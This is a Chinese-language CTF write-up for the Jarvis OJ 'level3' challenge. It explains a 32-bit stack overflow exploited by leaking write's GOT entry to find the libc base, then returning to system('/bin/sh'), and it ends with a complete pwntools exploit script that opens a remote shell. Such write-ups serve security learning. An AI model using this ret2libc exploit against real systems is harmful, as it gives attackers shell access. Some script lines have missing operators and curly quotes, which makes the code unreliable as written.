做题思路
先在终端用file命令查看文件为32位,在对应版本的IDA中打开
用checksec命令查看文件发现 栈无保护,再看伪代码分析可知
可以在传入buf 时覆盖栈的函数返回地址,即可以返回system函数的地址
再给system传入参数"/bin/sh" 就可以进入服务器的终端得到flag
大致思路跟第二题是一样的,
但是不同点在于上一题可以直接在IDA里面获得函数system与"/bin/sh"的地址
这一题需要我们用got-plt 表
以及 libc库与got表储存地址的偏移的知识
来获取system地址与"/bin/sh"的地址
本题的难点在于如何得到偏移量
要得到偏移量我们首先要得到某一个函数在got表里储存的真实地址
真实地址(本题指在level3里的函数的地址,我看做libc库函数地址的一个映射)
偏移量就是got表里储存的地址与libc库储存相同函数的地址的差值
要得到got表里的真实地址
我们可以利用题中的write函数输出got表里的write函数的真实地址
e=ELF(“level3”)
payload=(0x88+4)*‘A’+p32(e.symbols[‘write’])+p32(0x08048484)+p32(1)+p32(e.got[‘write’])+p32(4)
0x08048484指向main函数: 这样调用完write函数后可以接着进入main函数
这一句就是调用write函数输出了e.got[‘write’] 就是write函数的真实地址
由此可得到偏移量x=true_write-libc.symbols[‘write’]
接着得到 system函数的真实地址
true_sys=x+libc.symbols[‘system’]
与"/bin/sh"的真实地址
true_bin=x+libc.search("/bin/sh").next()
最后在main函数中再次用到栈溢出,进入shell.
代码如下
payload=(0x88+4)*‘A’+p32(true_sys)+p32(0)+p32(true_bin)
脚本如下
#coding:utf-8
from pwn import *
#context.log_level=“DEBUG”
#p=process("./level3")
p=remote(“pwn2.jarvisoj.com”,9879)
e=ELF(“level3”)
libc=ELF(“libc-2.19.so”)
writ_a=e.symbols[‘write’]
rea=0x08048484
got_write=e.got[‘write’]
p.recv()
payload=(0x88+4)‘A’+p32(writ_a)+p32(rea)+p32(1)+p32(got_write)+p32(4)
p.send(payload)
aaa=p.recv(4)
true_write=u32(aaa)
print hex(true_write)
x=true_write-libc.symbols[‘write’]
true_bin=x+libc.search("/bin/sh").next()
true_sys=x+libc.symbols[‘system’]
payload=(0x88+4)‘A’+p32(true_sys)+p32(0)+p32(true_bin)
p.send(payload)
p.interactive()